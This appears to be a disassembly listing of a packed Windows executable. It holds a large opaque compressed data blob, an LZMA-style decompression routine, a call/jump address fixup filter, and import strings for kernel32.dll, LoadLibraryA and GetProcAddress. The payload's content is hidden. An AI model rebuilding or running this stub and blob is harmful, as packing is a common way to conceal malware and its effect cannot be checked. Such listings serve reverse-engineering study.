		dd 0BC242EEBh, 0D434F777h, 0D6D194D9h, 47DAAAABh, 34E0A9FBh
		dd 4A0E01C3h, 870E45BCh, 841BA23Ch, 0F583E1D6h,	330D5F0Ah
		dd 70EC8208h, 0CBAC12BFh, 3DF7BC44h, 59ECC9F5h,	0FB54DBD8h
		dd 0B9181752h, 9647301Bh, 0CA2146AFh, 47723EE2h, 0F99EC273h
		dd 2B212528h, 0A98D1AD2h, 3AE8B847h, 0E73393EEh, 40E4AAD1h
		dd 4E197EFAh, 0E329C669h, 0E376306Dh, 0D5650F39h, 0ACEFE602h
		dd 2B22A262h, 163AF53Eh, 0F69021C0h, 4A82F44Bh,	624C60E8h
		dd 0D9F23E07h, 0F3649793h, 4E593D7Fh, 3EA1908h,	0B93CBAE7h
		dd 592EE2A4h, 0B0E8A0ABh, 3055409Eh, 4522F15Bh,	9D245AA1h
		dd 1714BDBFh, 93FA31E7h, 99DF5CC3h, 58D31BC1h, 5E1ECFBCh
		dd 6E123018h, 9E699D9Fh, 4B129C2h, 6ADA3EDCh, 0EDB5C8FFh
		dd 0D7FFB843h, 97854C84h, 46A52916h, 916A69D0h,	8A19BA12h
		dd 2BDCEC1Fh, 55DB9CA2h, 0D0BB60C6h, 9496F9B3h,	8BC31703h
		dd 6CD407BBh, 0B5157166h, 40848516h, 8AA146ABh,	0DEC1C61Ch
		dd 9C858395h, 90B68512h, 0CF9D9647h, 0E32ED3C2h, 80A4BC7Ch
		dd 7D6FCE42h, 0E47EB74Bh, 0FC096BE7h, 1025B80Eh, 8FD6242Eh
		dd 6AFE6952h, 322922F3h, 21068B9Eh, 987C8398h, 1D93BC01h
		dd 0AC6533E4h, 27C63CAEh, 0FDF57FAh, 1A96029Ah,	84E01CA9h
		dd 95F6E395h, 326B9926h, 5E941F7Ch, 478CB989h, 1F113F48h
		dd 45795D82h, 5A94367Ch, 16B1DBEBh, 5B1CC35Ah, 1D474745h
		dd 0F9658A19h, 93D04B4h, 0AE3DF78h, 0A7E7B610h,	996CBEC8h
		dd 0B7F01192h, 0A9F4B6F1h, 0A21BB65Ah, 0E65AB624h, 0D78A4D1Eh
		dd 239D8FB5h, 59DC3CE0h
		dd 0EDF7F837h, 0D4B7C7Eh, 298EE54Ch, 0FA691326h, 0E3FAA5FBh
		dd 426A7CFDh, 0EF1C7809h, 0EC1CCCFCh, 3B6388B1h, 12F9CF3Eh
		dd 0E9E36D07h, 0CA792E82h, 0A3110631h, 5EFEE34Ch, 241B10E6h
		dd 4F7D05CBh, 8C6895Ah,	0E250F93h, 6D55C0h, 90B8DFF1h
		dd 0E1B6675Dh, 0E10925A4h, 0EB77E66Dh, 37A84C95h, 5559C64h
		dd 0D9B09CE9h, 0F6264879h, 0C98F7B20h, 0A78604AFh, 4EA6478Bh
		dd 0C453647Fh, 5FF5972Ch, 21F9A157h, 69596EC0h,	0F8D63EDh
		dd 434E6F4Dh, 762CD5A0h, 0F017475h, 0A3846624h,	9BFB049Ah
		dd 4A046C71h, 3E2463A7h, 299B2B23h, 1221E9C1h, 363D9BF2h
		dd 0AD2333DCh, 30B76BAh, 7745EEF4h, 5FFBBA15h, 0FA417095h
		dd 7BF3C6BCh, 0FAE05A6Dh, 942104B4h, 3E198CDFh,	0F5E37CCBh
		dd 0C0E5CF5Ch, 66CFB8Fh, 6B216FFDh, 7CA5C4E5h, 540BE768h
		dd 79BCE472h, 51BA9550h, 60BAB852h, 540F04F1h, 0B6B6F7B8h
		dd 0DEB251CCh, 0ED124690h, 34E6477Ah, 7FD63A86h, 0FC82266Dh
		dd 0FCBDC77Ah, 76CF7E35h, 9CE26864h, 80531131h,	12E7B9A7h
		dd 0DF197CD5h, 1BE2AD7Eh, 0DD81FDA2h, 394AC8D9h, 1016669Eh
		dd 288AEF59h, 9882AF63h, 829986CAh, 754CD41h, 495C2EECh
		dd 767B8CE5h, 220CBED1h, 2BA8E5C0h, 0EFA8BD20h,	32907277h
		dd 9C0FB781h, 0A9855944h, 573D8DB2h, 4F71A8AAh,	8815A289h
		dd 0B53A874Ch, 0A8B71352h, 581A106Bh, 0ED45D15Eh, 0AFD57658h
		dd 58FCB3BEh, 0A6A06D96h, 0B1CD3B8Ah, 934B1500h, 24FF62A1h
		dd 0C873B354h, 0CB737EBAh, 4C58AE82h, 0FAF0F503h, 0D3999C1Ch
		dd 3EDB9CADh, 0CC1D93C0h, 638FBDBh, 0DB4A46FFh,	0CAB6D815h
		dd 627E933Ch, 5ACB71CDh, 0FE5E34BFh, 9CB8FCF6h,	89295C85h
		dd 3989EF48h, 0E221A763h, 1BA54D4Dh, 6B6A4643h,	3526693Dh
		dd 0A2BAF325h, 15A7DDFCh, 1040745h, 0C1C26927h,	0AD1BF6F9h
		dd 6900EF20h, 9EF5B123h, 8D664F17h, 35C8B21Ch, 2E12AA1Dh
		dd 0D483E779h, 869587E8h, 0EB716680h, 0EAA1DD89h, 0AA2F7FB6h
		dd 0F0D8025Bh, 55C00D34h, 0E0C994Fh, 873C2E8Fh,	1F3DB154h
		dd 1206C8AEh, 0C962CA2Ch, 3E6980F2h, 0B6A959C4h, 44B48089h
		dd 0E3A31FA5h, 7F05A9A1h, 0C83891EEh, 665FFB65h, 0B22FFC21h
		dd 883C5182h, 6A63985Dh, 59BBC72Bh, 0C0B67D54h,	9483D40Fh
		dd 0A8AE5DEEh, 0C4F7E0B5h, 0D4ACBB9Bh, 8EA671B9h, 0C0FB8775h
		dd 0D8C36B51h, 9B5441D2h, 0BB7BD11Ah, 0FCE3441Fh, 0A3DFE7C0h
		dd 94165FA1h, 1F11B20Ah, 0A9701D2Fh, 12E7E31Ah,	858B34BEh
		dd 4D8E396Dh, 0D6F0F8E2h, 38B1D380h, 0FC5D001Ch, 91EC8E1Fh
		dd 0DC3FE4FFh, 0CAF514F5h, 0DED27855h, 6EAC9052h, 17559A0h
		dd 411FE347h, 60429D3Fh, 188E863Ch, 8A0A9D4Bh, 126753F0h
		dd 96E7FC9Ah, 0B306DDE6h, 0AEF6D644h, 0E4DC73E8h, 788455B9h
		dd 96EC9E47h, 81712806h, 9542F03Eh, 0B9963BA3h,	4BED8DAFh
		dd 3A2E0D05h, 7E3F5C59h, 62EDD035h, 6AAD36B8h, 77CDCB47h
		dd 0CDB5DE72h, 9B4B13ADh, 0C7D3ACE6h, 7C6B019Dh, 0A0449D91h
		dd 0D0B71F45h, 0D9BE8D2Eh, 8478A544h, 0A7CA5A72h, 9985FC38h
		dd 0C733E0A2h, 0EA78FD59h, 0F7277293h, 555CEA31h, 0D2193BE5h
		dd 0B231DF32h, 548ED022h, 0D44971E6h, 381BE620h, 0C7D22C86h
		dd 8B46394Ah, 0A4DCB854h, 0DC3262BDh, 500E3041h, 4A33BBB4h
		dd 0EF460E4Ch, 0D897EE98h, 8A6B411Ah, 96C1BA81h, 2EC5FDDAh
		dd 8629B827h, 8032DC10h, 49963988h, 0B12E23FCh,	0FD0A27F6h
		dd 8955ED72h, 0B60DEC5Eh, 75074C7Eh, 0A3C58B77h, 108562B6h
		dd 3B12C0D3h, 42C12B4Fh, 0FB31541Fh, 1E085EC2h,	0B01BE983h
		dd 73CCA266h, 99DF25B7h, 211730FBh, 50256751h, 4310F02Ch
		dd 949A84DEh, 3E5794FAh, 129607EAh, 0A8C94906h,	0A8EE56D2h
		dd 0C05C6D47h, 5286BDB7h, 6E680D9h, 6ABF6539h, 9682859Ch
		dd 62AD4446h, 0C64A2BD2h, 0D2E73260h, 0FEB9C82Eh, 0A99F3DF1h
		dd 22EFF735h, 8871F18Eh, 0A4CBDB67h, 2C242CB0h,	97905A7Fh
		dd 601CA52Eh, 1EF79AE5h, 0FE135222h, 0B2DEF55Fh, 0DF3E0129h
		dd 0EFC786FCh, 26C21F06h, 10630E51h, 39297EA7h,	45396B42h
		dd 3C0D0929h, 0E2523CF6h, 0F651018Bh, 1E5495BCh, 0ACB76F99h
		dd 727D8A5h, 65FAB1CEh,	4CD12EDFh, 1604AC29h, 0C6A7C1Ch
		dd 9D658674h, 82C8A4h, 17741E24h, 0F774F298h, 1B196A51h
		dd 85517539h, 0AE658919h, 891075E0h, 139EFB55h,	0B2510DBCh
		dd 0DFA90DCh, 983F4D47h, 0E3434569h, 0EC4AAA09h, 41B67D72h
		dd 82831C19h, 82BFF294h, 82626066h, 0A32D80F9h,	0D33F7E97h
		dd 29F3F2A7h, 8C0220D9h, 0C84E27D0h, 0F6D0B11Eh, 60E2122Fh
		dd 8BAA12D9h, 602C98F3h, 8726C7B3h, 261DE69Ah, 1CBAC2AAh
		dd 54E78BA3h, 61B486DAh, 21C7497Bh, 0DAD7D313h,	4606DE8Dh
		dd 0AC594A6Ch, 0D8D52752h, 0F9E1B81Eh, 4667FDE5h, 0FBBF23CBh
		dd 2D05DC58h, 0CACD4B80h, 2DADC919h, 0C5E366F1h, 761FF72Fh
		dd 0CE9AB5E8h, 1B464A62h, 0D24202D8h, 0A862A8CEh, 4C84541h
		dd 0F4F45E90h, 0F9E1077Ah, 0DDF0033Dh, 33D6559Fh, 3805BE85h
		dd 48E3A7FCh, 56486B1Eh, 687AECD5h, 9CD30DE8h, 731DDD44h
		dd 0D68694CDh, 6C9B6F8Dh, 937C1F36h, 50E7505Dh,	4E681CF9h
		dd 32775B5Dh, 0C66008A6h, 4A8033EAh, 0AB892D26h, 0A69316C5h
		dd 9F60FB35h, 0EA54E7E1h, 41BDDCC2h, 6939A8C6h,	61F8EF1Ch
		dd 0D765AA29h, 4A16BEBDh, 0FBA6AA87h, 0AF8365A8h, 0E1154E4Ah
		dd 51E085D0h, 3DE0870Ah, 555112ECh, 907ABB86h, 817271FCh
		dd 3B87908Dh, 59AAEF63h, 4557DBC1h, 41AE4068h, 0C2F13251h
		dd 0A6BC7314h, 642081FDh, 83D0DE0Fh, 4FEC7247h,	6052FCD8h
		dd 4AAE67Ch, 0E6DAF0B1h, 150C968Fh, 1A4775DFh, 20E22383h
		dd 3F48FF65h, 335C005Fh, 3789A584h, 0E906B4E2h,	0E0A0FF64h
		dd 0A61A327h, 0B5AF7084h, 0F3B2D3CCh, 7A8BE585h, 0AD1CC663h
		dd 0C1D3D624h, 0B928BD83h, 0C77A27CEh, 0AEBE557Fh, 0EC87ECD2h
		dd 96B04174h, 0A1DA8E4Ch, 61829573h, 0C5906434h, 12F14DE5h
		dd 943C6555h, 8F54D02Fh, 0FEFD5D36h, 615FE15Ch,	0D99AFE27h
		dd 9B48D21h, 1A6C8062h,	0AA48FEF8h, 0B88B2BECh,	0EEBDFE9Dh
		dd 0D6F864AAh, 6903D81Eh, 708452BAh, 0CFCF2F84h, 34BF6B2h
		dd 5701EB77h, 8D801AB9h, 40289960h, 29094B8Ah, 6573B997h
		dd 56162380h, 19F2E88Ah, 347D4CF6h, 5236C90Dh, 0B2D790BAh
		dd 454261A4h, 0D56EB12Dh, 0C0C4A7F2h, 0AB56C512h, 6322F84Ch
		dd 4C331208h, 86EEA225h, 85C0B709h, 0E3DDA01Ch,	19608F54h
		dd 0BBFAE3F0h, 249F68D1h, 5BBA140Bh, 0BF6D2D61h, 0EBC5AFD1h
		dd 9E5F1DC1h, 3F7B44CDh, 0EEC84CC0h, 7811F999h,	8F027658h
		dd 1914DF5Ah, 9990871Ah, 85B447ADh, 40C8BC84h, 72656B00h
		dd 336C656Eh, 6C642E32h, 6F4C006Ch, 694C6461h, 72617262h
		dd 47004179h, 72507465h, 6441636Fh, 73657264h
		db 73h,	0
; [00000005 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		db 0Ch
		dd 0D0h, 0
		dd 9D000000h, 0C00011Fh
		db 0D0h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_411FDF	proc near		; CODE XREF: __u_____:0041228Fp
		and	dword ptr [ecx+8], 0
		or	dword ptr [ecx+4], 0FFFFFFFFh
		push	esi
		push	edi
		push	5
		mov	[ecx], edx
		pop	edx


loc_411FEE:				; CODE XREF: sub_411FDF+23j
		mov	eax, [ecx]
		mov	esi, [ecx+8]
		shl	esi, 8
		movzx	edi, byte ptr [eax]
		or	esi, edi
		inc	eax
		dec	edx
		mov	[ecx+8], esi
		mov	[ecx], eax
		jnz	short loc_411FEE
		pop	edi
		pop	esi
		retn
sub_411FDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_412007	proc near		; CODE XREF: __u_____:004124A5p
		push	esi
		mov	esi, [ecx+4]
		xor	eax, eax
		push	edi
		mov	edi, [ecx+8]
		test	edx, edx
		jle	short loc_412042
		push	ebx
		push	ebp
		mov	ebx, edx


loc_412019:				; CODE XREF: sub_412007+37j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_412025
		sub	edi, esi
		or	al, 1


loc_412025:				; CODE XREF: sub_412007+18j
		cmp	esi, 1000000h
		jnb	short loc_41203D
		mov	edx, [ecx]
		shl	edi, 8
		movzx	ebp, byte ptr [edx]
		shl	esi, 8
		or	edi, ebp
		inc	edx
		mov	[ecx], edx


loc_41203D:				; CODE XREF: sub_412007+24j
		dec	ebx
		jnz	short loc_412019
		pop	ebp
		pop	ebx


loc_412042:				; CODE XREF: sub_412007+Cj
		mov	[ecx+8], edi
		mov	[ecx+4], esi
		pop	edi
		pop	esi
		retn
sub_412007	endp


; =============== S U B	R O U T	I N E =======================================



sub_41204B	proc near		; CODE XREF: sub_4120E3+1Ep
					; sub_41211D+23p ...
		push	esi
		mov	esi, [edx+4]
		push	edi
		mov	eax, esi
		movzx	edi, word ptr [ecx]
		shr	eax, 0Bh
		imul	eax, edi
		mov	edi, [edx+8]
		cmp	edi, eax
		jnb	short loc_4120A1
		mov	[edx+4], eax
		mov	ax, [ecx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[ecx], di
		mov	eax, [edx+4]
		cmp	eax, 1000000h
		jnb	short loc_41209D
		mov	ecx, [edx]
		mov	esi, [edx+8]
		shl	esi, 8
		movzx	edi, byte ptr [ecx]
		or	esi, edi
		inc	ecx
		shl	eax, 8
		mov	[edx+8], esi
		mov	[edx], ecx
		mov	[edx+4], eax


loc_41209D:				; CODE XREF: sub_41204B+37j
		xor	eax, eax
		jmp	short loc_4120E0
; ---------------------------------------------------------------------------


loc_4120A1:				; CODE XREF: sub_41204B+15j
		sub	esi, eax
		sub	edi, eax
		mov	[edx+4], esi
		mov	[edx+8], edi
		mov	ax, [ecx]
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[ecx], ax
		mov	eax, [edx+4]
		cmp	eax, 1000000h
		jnb	short loc_4120DD
		mov	ecx, [edx]
		mov	esi, [edx+8]
		shl	esi, 8
		movzx	edi, byte ptr [ecx]
		or	esi, edi
		inc	ecx
		shl	eax, 8
		mov	[edx+8], esi
		mov	[edx], ecx
		mov	[edx+4], eax


loc_4120DD:				; CODE XREF: sub_41204B+77j
		push	1
		pop	eax


loc_4120E0:				; CODE XREF: sub_41204B+54j
		pop	edi
		pop	esi
		retn
sub_41204B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120E3	proc near		; CODE XREF: sub_4121DD+1Ep
					; sub_4121DD+45p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		mov	ebx, edx
		push	1
		test	ebx, ebx
		mov	edi, ecx
		pop	eax
		jle	short loc_41210E
		push	esi
		mov	[ebp+var_4], ebx


loc_4120F8:				; CODE XREF: sub_4120E3+28j
		mov	edx, [ebp+arg_0]
		lea	esi, [eax+eax]
		lea	ecx, [esi+edi]
		call	sub_41204B
		add	eax, esi
		dec	[ebp+var_4]
		jnz	short loc_4120F8
		pop	esi


loc_41210E:				; CODE XREF: sub_4120E3+Fj
		push	1
		mov	ecx, ebx
		pop	edx
		pop	edi
		shl	edx, cl
		pop	ebx
		sub	eax, edx
		leave
		retn	4
sub_4120E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41211D	proc near		; CODE XREF: __u_____:loc_412496p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	edi
		mov	[ebp+var_8], edx
		xor	edi, edi
		cmp	[ebp+var_8], edi
		push	1
		mov	ebx, ecx
		pop	edx
		mov	[ebp+var_4], edi
		jle	short loc_412156
		push	esi


loc_412137:				; CODE XREF: sub_41211D+36j
		lea	esi, [edx+edx]
		mov	edx, [ebp+arg_0]
		lea	ecx, [esi+ebx]
		call	sub_41204B
		mov	ecx, edi
		lea	edx, [esi+eax]
		shl	eax, cl
		or	[ebp+var_4], eax
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_412137
		pop	esi


loc_412156:				; CODE XREF: sub_41211D+17j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx
		leave
		retn	4
sub_41211D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41215F	proc near		; CODE XREF: __u_____:00412303p

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_0]
		shr	esi, 7
		shl	[ebp+arg_0], 1
		mov	eax, esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_4], edx
		shl	eax, 9
		lea	ecx, [eax+edi+202h]
		call	sub_41204B
		mov	ebx, eax
		or	ebx, 2


loc_41218B:				; CODE XREF: sub_41215F+59j
		cmp	esi, eax
		jnz	short loc_4121BA
		cmp	ebx, 100h
		jge	short loc_4121D4
		movzx	esi, [ebp+arg_0]
		shr	esi, 7
		mov	edx, [ebp+var_4]
		shl	[ebp+arg_0], 1
		lea	eax, [esi+1]
		shl	eax, 8
		add	eax, ebx
		lea	ecx, [edi+eax*2]
		call	sub_41204B
		add	ebx, ebx
		or	ebx, eax
		jmp	short loc_41218B
; ---------------------------------------------------------------------------


loc_4121BA:				; CODE XREF: sub_41215F+2Ej
		mov	esi, 100h


loc_4121BF:				; CODE XREF: sub_41215F+73j
		cmp	ebx, esi
		jge	short loc_4121D4
		mov	edx, [ebp+var_4]
		add	ebx, ebx
		lea	ecx, [ebx+edi]
		call	sub_41204B
		or	ebx, eax
		jmp	short loc_4121BF
; ---------------------------------------------------------------------------


loc_4121D4:				; CODE XREF: sub_41215F+36j
					; sub_41215F+62j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41215F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4121DD	proc near		; CODE XREF: __u_____:004123FEp
					; __u_____:00412446p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, edx
		mov	esi, ecx
		call	sub_41204B
		test	eax, eax
		jnz	short loc_412202
		mov	eax, [esp+8+arg_0]
		push	edi
		shl	eax, 4
		push	3
		pop	edx
		lea	ecx, [eax+esi+4]
		call	sub_4120E3
		jmp	short loc_41223D
; ---------------------------------------------------------------------------


loc_412202:				; CODE XREF: sub_4121DD+Dj
		mov	edx, edi
		lea	ecx, [esi+2]
		call	sub_41204B
		test	eax, eax
		push	edi
		jnz	short loc_41222C
		mov	eax, [esp+0Ch+arg_0]
		push	3
		shl	eax, 4
		pop	edx
		lea	ecx, [eax+esi+104h]
		call	sub_4120E3
		add	eax, 8
		jmp	short loc_41223D
; ---------------------------------------------------------------------------


loc_41222C:				; CODE XREF: sub_4121DD+32j
		push	8
		lea	ecx, [esi+204h]
		pop	edx
		call	sub_4120E3
		add	eax, 10h


loc_41223D:				; CODE XREF: sub_4121DD+23j
					; sub_4121DD+4Dj
		pop	edi
		pop	esi
		retn	4
sub_4121DD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		lodsd
		push	eax
		lodsd
		mov	[ebp-28h], eax
		mov	ebx, [ebp-28h]


loc_412252:				; CODE XREF: __u_____:00412297j
					; __u_____:004124C3j
		lodsd
		mov	[ebp-28h], eax
		lodsd
		mov	[ebp-18h], eax
		push	eax
		lodsd
		inc	esi
		mov	[ebp-2Ch], esi
		add	esi, eax
		push	esi
		mov	edx, [ebp-2Ch]
		and	byte ptr [ebp-1], 0
		mov	ecx, 1B9Bh
		mov	eax, 4000400h
		mov	edi, ebx
		push	1
		rep stosd
		pop	edi
		xor	esi, esi
		lea	ecx, [ebp-40h]
		mov	[ebp-14h], edi
		mov	[ebp-10h], edi
		mov	[ebp-24h], edi
		mov	[ebp-8], esi
		mov	[ebp-20h], esi
		call	sub_411FDF
		cmp	[ebp-28h], esi
		jbe	short loc_412252


loc_412299:				; CODE XREF: __u_____:004124F8j
		mov	eax, [ebp-8]
		mov	ecx, esi
		and	eax, 3
		lea	edx, [ebp-40h]
		shl	ecx, 4
		add	ecx, eax
		mov	[ebp-0Ch], eax
		lea	ecx, [ebx+ecx*2]
		call	sub_41204B
		test	eax, eax
		jnz	loc_41233D
		movzx	eax, byte ptr [ebp-1]
		shr	eax, 4
		lea	eax, [eax+eax*2]
		shl	eax, 9
		cmp	esi, 4
		lea	ecx, [eax+ebx+0E6Ch]
		mov	[ebp-0Ch], ecx
		jge	short loc_4122DC
		xor	esi, esi
		jmp	short loc_4122E9
; ---------------------------------------------------------------------------


loc_4122DC:				; CODE XREF: __u_____:004122D6j
		cmp	esi, 0Ah
		jge	short loc_4122E6
		sub	esi, 3
		jmp	short loc_4122E9
; ---------------------------------------------------------------------------


loc_4122E6:				; CODE XREF: __u_____:004122DFj
		sub	esi, 6


loc_4122E9:				; CODE XREF: __u_____:004122DAj
					; __u_____:004122E4j
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_412311
		mov	eax, [ebp-8]
		mov	edx, [ebp-18h]
		sub	eax, edi
		mov	al, [eax+edx]
		lea	edx, [ebp-40h]
		mov	[ebp-30h], al
		push	dword ptr [ebp-30h]
		call	sub_41215F
		and	dword ptr [ebp-20h], 0
		mov	[ebp-1], al
		jmp	short loc_412335
; ---------------------------------------------------------------------------


loc_412311:				; CODE XREF: __u_____:004122EDj
		push	1
		pop	eax
		jmp	short loc_412319
; ---------------------------------------------------------------------------


loc_412316:				; CODE XREF: __u_____:00412330j
		mov	ecx, [ebp-0Ch]


loc_412319:				; CODE XREF: __u_____:00412314j
		add	eax, eax
		lea	edx, [ebp-40h]
		add	ecx, eax
		mov	[ebp-34h], eax
		call	sub_41204B
		or	eax, [ebp-34h]
		cmp	eax, 100h
		jl	short loc_412316
		mov	[ebp-1], al


loc_412335:				; CODE XREF: __u_____:0041230Fj
		mov	eax, [ebp-18h]
		mov	cl, [ebp-1]
		jmp	short loc_4123A3
; ---------------------------------------------------------------------------


loc_41233D:				; CODE XREF: __u_____:004122B6j
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+esi*2+180h]
		mov	dword ptr [ebp-20h], 1
		call	sub_41204B
		cmp	eax, 1
		jnz	loc_41241B
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+esi*2+198h]
		call	sub_41204B
		test	eax, eax
		lea	edx, [ebp-40h]
		jnz	short loc_4123B1
		lea	eax, [esi+0Fh]
		shl	eax, 4
		add	eax, [ebp-0Ch]
		lea	ecx, [ebx+eax*2]
		call	sub_41204B
		test	eax, eax
		jnz	short loc_4123F2
		cmp	esi, 7
		mov	ecx, [ebp-8]
		setnl	al
		dec	eax
		and	al, 0FEh
		add	eax, 0Bh
		sub	ecx, edi
		mov	esi, eax
		mov	eax, [ebp-18h]
		mov	cl, [ecx+eax]
		mov	[ebp-1], cl


loc_4123A3:				; CODE XREF: __u_____:0041233Bj
		mov	edx, [ebp-8]
		inc	dword ptr [ebp-8]
		mov	[edx+eax], cl
		jmp	loc_4124F2
; ---------------------------------------------------------------------------


loc_4123B1:				; CODE XREF: __u_____:00412370j
		lea	ecx, [ebx+esi*2+1B0h]
		call	sub_41204B
		test	eax, eax
		jnz	short loc_4123C6
		mov	eax, [ebp-14h]
		jmp	short loc_4123ED
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: __u_____:004123BFj
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+esi*2+1C8h]
		call	sub_41204B
		test	eax, eax
		jnz	short loc_4123DE
		mov	eax, [ebp-10h]
		jmp	short loc_4123E7
; ---------------------------------------------------------------------------


loc_4123DE:				; CODE XREF: __u_____:004123D7j
		mov	ecx, [ebp-10h]
		mov	eax, [ebp-24h]
		mov	[ebp-24h], ecx


loc_4123E7:				; CODE XREF: __u_____:004123DCj
		mov	ecx, [ebp-14h]
		mov	[ebp-10h], ecx


loc_4123ED:				; CODE XREF: __u_____:004123C4j
		mov	[ebp-14h], edi
		mov	edi, eax


loc_4123F2:				; CODE XREF: __u_____:00412385j
		push	dword ptr [ebp-0Ch]
		lea	edx, [ebp-40h]
		lea	ecx, [ebx+0A68h]
		call	sub_4121DD
		mov	[ebp-0Ch], eax
		xor	eax, eax
		cmp	esi, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	esi, eax
		jmp	loc_4124C1
; ---------------------------------------------------------------------------


loc_41241B:				; CODE XREF: __u_____:00412356j
		mov	eax, [ebp-10h]
		push	dword ptr [ebp-0Ch]
		mov	[ebp-24h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-10h], eax
		xor	eax, eax
		cmp	esi, 7
		lea	edx, [ebp-40h]
		setnl	al
		dec	eax
		lea	ecx, [ebx+664h]
		and	al, 0FDh
		mov	[ebp-14h], edi
		add	eax, 0Ah
		mov	esi, eax
		call	sub_4121DD
		cmp	eax, 4
		mov	[ebp-0Ch], eax
		jl	short loc_412456
		push	3
		pop	eax


loc_412456:				; CODE XREF: __u_____:00412451j
		lea	ecx, [ebp-40h]
		push	ecx
		push	6
		shl	eax, 7
		pop	edx
		lea	ecx, [eax+ebx+360h]
		call	sub_4120E3
		cmp	eax, 4
		jl	short loc_4124BE
		mov	ecx, eax
		mov	edi, eax
		sar	ecx, 1
		and	edi, 1
		dec	ecx
		or	edi, 2
		shl	edi, cl
		cmp	eax, 0Eh
		jge	short loc_41249F
		lea	edx, [ebp-40h]
		push	edx
		mov	edx, ecx
		mov	ecx, edi
		sub	ecx, eax
		lea	ecx, [ebx+ecx*2+55Eh]


loc_412496:				; CODE XREF: __u_____:004124BCj
		call	sub_41211D
		add	edi, eax
		jmp	short loc_4124C0
; ---------------------------------------------------------------------------


loc_41249F:				; CODE XREF: __u_____:00412483j
		lea	edx, [ecx-4]
		lea	ecx, [ebp-40h]
		call	sub_412007
		shl	eax, 4
		add	edi, eax
		lea	eax, [ebp-40h]
		push	eax
		push	4
		pop	edx
		lea	ecx, [ebx+644h]
		jmp	short loc_412496
; ---------------------------------------------------------------------------


loc_4124BE:				; CODE XREF: __u_____:0041246Fj
		mov	edi, eax


loc_4124C0:				; CODE XREF: __u_____:0041249Dj
		inc	edi


loc_4124C1:				; CODE XREF: __u_____:00412416j
		test	edi, edi
		jz	loc_412252
		add	dword ptr [ebp-0Ch], 2


loc_4124CD:				; CODE XREF: __u_____:004124F0j
		mov	edx, [ebp-8]
		mov	ecx, [ebp-18h]
		mov	eax, edx
		sub	eax, edi
		mov	al, [eax+ecx]
		mov	[edx+ecx], al
		inc	edx
		dec	dword ptr [ebp-0Ch]
		mov	[ebp-1], al
		cmp	dword ptr [ebp-0Ch], 0
		mov	[ebp-8], edx
		jle	short loc_4124F2
		cmp	edx, [ebp-28h]
		jb	short loc_4124CD


loc_4124F2:				; CODE XREF: __u_____:004123ACj
					; __u_____:004124EBj
		mov	eax, [ebp-8]
		cmp	eax, [ebp-28h]
		jb	loc_412299
		pop	ebx
		pop	esi
		pop	edx
		xor	ecx, ecx


loc_412503:				; CODE XREF: __u_____:0041251Cj
		inc	ecx
		lodsb
		sub	al, 0E8h
		jz	short loc_41250F
		dec	al
		jz	short loc_41250F
		jmp	short loc_41251A
; ---------------------------------------------------------------------------


loc_41250F:				; CODE XREF: __u_____:00412507j
					; __u_____:0041250Bj
		mov	edi, esi
		lodsd
		bswap	eax
		sub	eax, ecx
		stosd
		add	ecx, 4


loc_41251A:				; CODE XREF: __u_____:0041250Dj
		cmp	ecx, edx
		jnz	short loc_412503
		xchg	ebx, esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 0E2h
		dd 3A043305h, 5E706h, 5	dup(40004h), 59040004h,	0FF053205h
		dd 4AF04h, 5 dup(40004h), 0D0040004h, 96033E03h, 4F804h
		dd 5 dup(40004h), 1E040004h, 3D04C304h,	43304h,	5 dup(40004h)
		dd 0A040004h, 0E031B05h, 42204h, 5 dup(40004h),	8C040004h
		dd 64028002h, 1B303h, 5	dup(40004h), 37040004h,	4203CA04h
		dd 39103h, 5 dup(40004h), 0F9040004h, 9C050E04h, 59D05h
		dd 5 dup(40004h), 62040004h, 8206AB06h,	66506h,	5 dup(40004h)
		dd 9040004h, 0B8054705h, 5DA05h, 5 dup(40004h),	0F1040004h
		dd 6D05C505h, 50504h, 5	dup(40004h), 4E040004h,	0C303A607h
		dd 4C202h, 5 dup(40004h), 9C040004h, 9106C007h,	2E044404h
		dd 0E204h, 0C707E104h, 0E1067F07h, 0EC035607h, 75070A04h
		dd 84057007h, 0FC079107h, 5A01A006h, 0AD026D00h, 0B001C601h
		dd 20043403h, 3E042004h, 1F04EA04h, 0FA042304h,	7050D05h
		dd 7D065304h, 2003FE04h, 0BD040004h, 20050B04h,	9049004h
		dd 0CB043D05h, 3E042004h, 8A034B04h, 5D604h, 5 dup(40004h)
		dd 2040004h, 0E02E802h,	38702h,	5 dup(40004h), 0EC040004h
		dd 8A02A302h, 2FE01h, 5	dup(40004h), 0E0040004h, 0DF041F03h
